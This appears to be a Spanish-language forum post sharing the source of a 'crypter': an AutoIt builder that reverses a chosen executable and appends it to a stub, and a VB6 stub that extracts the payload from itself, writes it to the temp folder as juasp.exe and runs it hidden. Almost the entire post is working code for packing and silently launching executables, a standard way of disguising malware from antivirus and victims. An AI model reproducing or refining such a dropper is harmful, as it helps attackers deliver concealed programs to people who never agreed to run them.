Código: Seleccionar todo

#include <file.au3>
#include<string.au3>
dim $q,$ruta,$file,$tam,$leido,$stub,$tamstub,$leidostub, $NUEVO
$q = @ScriptFullPath
$ruta = inputbox("Elija un archivo a encryptar!","Elija un archivo a encryptar!")
if $ruta <> "" Then
	$tam = fileread($ruta)
	$stub = @scriptdir & "\STUB.exe"
	filecopy ($stub, @scriptdir & "\full.exe",1)
	sleep (1000)
	$NUEVO = fileopen(@scriptdir & "\full.exe",17)
	$leido = "LOL" & _stringreverse($tam) & "LOL" & "JUAS" & "LOL"
	filewrite($NUEVO,$leido)
	FileClose($NUEVO)
Else
	MsgBox  (0,"Elija un archivo!","Debe elegir un archivo!")
	exit
EndIf

msgbox (0, "Archivo encryptado correctamente!","Archivo encryptado correctamente!")

msgbox (0, "Gracias por utilizar Crypter en VB y autoit by m3m0_11", "Gracias por utilizar Crypter en VB y autoit by m3m0_11")
		
exit

Código: Seleccionar todo

Private Sub Main()
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Dim X852 As String, askjlt4hga5y4df5jh4ts() As String
X852 = Space(LOF(1))
Get #1, , X852
Close #1
askjlt4hga5y4df5jh4ts() = Split(X852, StrReverse("LOL"))
Open Environ(StrReverse("pmt")) & "\juasp.exe" For Binary As #1
Put #1, , StrReverse(askjlt4hga5y4df5jh4ts(1))
Close #1
Shell "cmd.exe /c start " & Environ(StrReverse("pmt")) & "\juasp.exe", vbHide
End
End Sub